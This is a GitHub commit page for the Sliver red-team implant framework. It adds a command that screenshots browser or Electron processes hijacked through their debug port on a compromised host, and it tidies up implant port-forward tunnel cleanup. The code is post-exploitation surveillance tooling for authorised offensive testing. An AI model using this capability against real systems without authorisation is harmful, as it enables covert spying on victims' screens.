Skip to content

Commit

Permalink
Merge pull request #830 from BishopFox/cdp
Browse files Browse the repository at this point in the history
Implemented cursed screenshot and better porfwd tunnel cleanup handling
  • Loading branch information
rkervella authored Sep 4, 2022
2 parents 583edd7 + 0c5f8a1 commit 3a8201c
Show file tree
Hide file tree
Showing 3 changed files with 97 additions and 5 deletions.
18 changes: 18 additions & 0 deletions client/command/commands.go
Original file line number Diff line number Diff line change
Expand Up @@ -3396,6 +3396,24 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.ScreenshotStr,
Help: "Take a screenshot of a cursed process debug target",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
f.String("s", "save", "", "save to file")

f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedScreenshotCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedElectron,
Help: "Curse a remote Electron application",
Expand Down
69 changes: 69 additions & 0 deletions client/command/cursed/cursed-screenshot.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
package cursed

/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/

import (
"fmt"
"io/ioutil"
"time"

"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)

func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
quality := ctx.Flags.Int64("quality")
if quality < 1 || quality > 100 {
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
return
}
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
if err != nil {
con.PrintErrorf("Failed to take screenshot: %s\n", err)
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
}
err = ioutil.WriteFile(saveFile, data, 0644)
if err != nil {
con.PrintErrorf("Failed to save screenshot: %s\n", err)
return
}
con.PrintInfof("Screenshot saved to %s\n", saveFile)
}
15 changes: 10 additions & 5 deletions implant/sliver/handlers/tunnel_handlers/portfwd_handler.go
Original file line number Diff line number Diff line change
Expand Up @@ -109,24 +109,29 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
Data: portfwdResp,
}

once := &sync.Once{}
once := sync.Once{}
cleanup := func(reason error) {
once.Do(func() {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := connection.Tunnel(tunnel.ID)
cleanupTunnel := connection.Tunnel(tunnel.ID)
if cleanupTunnel == nil {
return
}

tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
TunnelID: cleanupTunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(tunnel.ID)
dst.Close()
connection.RemoveTunnel(cleanupTunnel.ID)
if dst != nil {
dst.Close()
}
cancelContext()
})
}
Expand Down

0 comments on commit 3a8201c

Please sign in to comment.